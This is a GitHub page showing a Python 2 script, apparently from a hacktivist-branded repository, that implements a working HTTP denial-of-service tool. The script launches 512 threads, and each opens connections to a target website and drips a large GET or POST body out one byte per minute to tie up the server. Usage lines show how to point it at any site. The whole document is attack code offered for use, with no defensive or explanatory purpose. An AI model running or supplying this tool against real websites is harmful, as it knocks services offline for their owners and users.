forked from H1R0GH057/Anonymous
-
Notifications
You must be signed in to change notification settings - Fork 0
/
17.py
115 lines (102 loc) · 3.66 KB
/
17.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/python
#0x0a/0x3a/0x6a/0x2a
import sys
import socket
import time
import getopt
import re
from threading import Thread
class MyThread(Thread,):
def __init__(self,SITE, DOS_TYPE):
Thread.__init__(self)
self.method = DOS_TYPE
self.site = SITE
self.kill_received = False
def run(self):
while not self.kill_received:
server = socket.gethostbyname(self.site)
post = 'x' * 9999
file = '/'
request = '%s /%s HTTP/1.1\r\n' %(self.method.upper(),file)
request += 'Host: %s\r\n' % (self.site)
request += 'User-Agent: Mozilla/5.0 (Windows; U;Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026Firefox/3.6.12\r\n'
request += 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
request += 'Accept-Language: en-us,en;q=0.5\r\n'
request += 'Accept-Encoding: gzip,deflate\r\n'
request += 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n'
request += 'Keep-Alive: 9000\r\n'
request += 'Connection: close\r\n'
request += 'Content-Type: application/x-www-form-urlencoded\r\n'
request += 'Content-length: %s\r\n\r\n' % (len(post))
newrequest = '%s\r\n' % (post)
newrequest += '\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((server, 80))
s.send(request)
for c in newrequest:
sys.stdout.write( s.send(c).__str__() )
time.sleep(60)
s.close()
#s.recv(50000)
except:
print "Target Down?"
def da_delegator(SITE,DOS_TYPE):
thread_count = 512
print '=' * 60
print 'ANONYMOUS GLOBAL #Layer7 Tool v.1'.center(60,'-')
print '=' * 60
threads = []
for num in range(thread_count):
thr1=MyThread(SITE,DOS_TYPE)
print 'start - %s' % thr1
thr1.start()
threads.append(thr1)
#thr1.join()
while len(threads) > 0:
try:
# Join all threads using a timeout so it doesn't block
# Filter out threads which have been joined or are None
threads = [t.join(1) for t in threads if t is not
None and t.isAlive()]
except KeyboardInterrupt:
print "Ctrl-c received! Sending kill to threads... Just close The Terminal"
for t in threads:
t.kill_received = True
sys.exit(2)
def main(argv):
def usage():
print '=' * 60
print 'ANONYMOUS GLOBAL #Layer7 DDOS Tool v.1'.center(60,'-')
print '=' * 60
print 'For GET DOS - USAGE: Layer7.py -t get http://example.com'
print 'For POST DOS - USAGE: Layer7.py -t post http://example.com'
sys.exit(2)
if not argv:
usage()
try:
opts, args = getopt.getopt(sys.argv[1:], "t:h", ["help",
"type"])
except getopt.GetoptError, err:
print str(err)
sys.exit(2)
output = None
verbose = False
SITE = re.sub(r'http://', '', str(sys.argv[-1:][0]))
for o, a in opts:
if o == "-v":
verbose = True
elif o in ("-t", "--type"):
if a.lower() == 'post':
DOS_TYPE = 'POST'
da_delegator(SITE,DOS_TYPE)
elif a.lower() =='get':
DOS_TYPE = 'get'
da_delegator(SITE,DOS_TYPE)
elif o in ("-h", "--help"):
usage()
sys.exit()
else:
assert False, "unhandled option"
if __name__=="__main__":
main(sys.argv[1:])